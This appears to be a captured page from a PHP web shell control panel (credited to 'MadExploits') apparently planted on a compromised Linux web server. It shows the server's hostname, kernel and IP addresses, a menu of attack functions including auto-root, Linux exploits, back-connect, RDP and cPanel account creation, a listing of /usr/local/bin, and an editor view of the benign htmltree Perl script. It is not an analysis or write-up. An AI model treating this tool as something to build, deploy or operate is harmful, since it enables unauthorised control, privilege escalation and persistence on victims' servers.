Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.60
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
crontab
1.76
MB
-rwxr-xr-x
ea-php71
4.08
MB
-rwxr-xr-x
ea-php72
4.32
MB
-rwxr-xr-x
ea-php73
4.71
MB
-rwxr-xr-x
ea_convert_php_ini
39.85
KB
-rwxr-xr-x
ea_current_to_profile
8.31
KB
-rwxr-xr-x
ea_install_profile
7.1
KB
-rwxr-xr-x
ea_sync_user_phpini_settings
6.73
KB
-rwxr-xr-x
htmltree
1.31
KB
-r-xr-xr-x
instmodsh
4.1
KB
-r-xr-xr-x
json_xs
6.93
KB
-r-xr-xr-x
lsphp
937
B
-rwxr-xr-x
lwp-download
10.05
KB
-r-xr-xr-x
lwp-dump
2.65
KB
-r-xr-xr-x
lwp-mirror
2.36
KB
-r-xr-xr-x
lwp-request
15.82
KB
-r-xr-xr-x
passwd
3.22
MB
-rwxr-xr-x
pear
935
B
-rwxr-xr-x
perl
11.14
KB
-rwxr-xr-x
php
933
B
-rwxr-xr-x
prove
13.24
KB
-r-xr-xr-x
tpage
8.86
KB
-r-xr-xr-x
tt-render
101
B
-r-xr-xr-x
ttree
38.22
KB
-r-xr-xr-x
use-devel-checklib
2.71
KB
-r-xr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : htmltree
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if 0; # not running under some shell use warnings; use strict; use 5.008; use Pod::Usage; =head1 NAME htmltree - Parse the given HTML file(s) and dump the parse tree =head1 SYNOPSIS htmltree -D3 -w file1 file2 file3 Options: -D[number] sets HTML::TreeBuilder::Debug to that figure. -w turns on $tree->warn(1) for the new tree -h Help message =cut my $warn; my $help; BEGIN { # We have to set debug level before we use HTML::TreeBuilder. $HTML::TreeBuilder::DEBUG = 0; # default debug level $warn = 0; while(@ARGV) { # lameo switch parsing if($ARGV[0] =~ m<^-D(\d+)$>s) { $HTML::TreeBuilder::DEBUG = $1; print "Debug level $HTML::TreeBuilder::DEBUG\n"; shift @ARGV; } elsif ($ARGV[0] =~ m<^-w$>s) { $warn = 1; shift @ARGV; } elsif ($ARGV[0] =~ m<^-h$>s) { $help = 1; shift @ARGV; } else { last; } } } pod2usage({-exitval => 0, -verbose => 1}) if($help); use HTML::TreeBuilder; foreach my $file (grep( -f $_, @ARGV)) { print "=" x 78, "\n", "Parsing $file...\n"; my $h = HTML::TreeBuilder->new; $h->ignore_unknown(0); $h->warn($warn); $h->parse_file($file); print "- "x 39, "\n"; $h->dump(); $h = $h->delete(); # nuke it! print "\n\n"; } exit;
Close
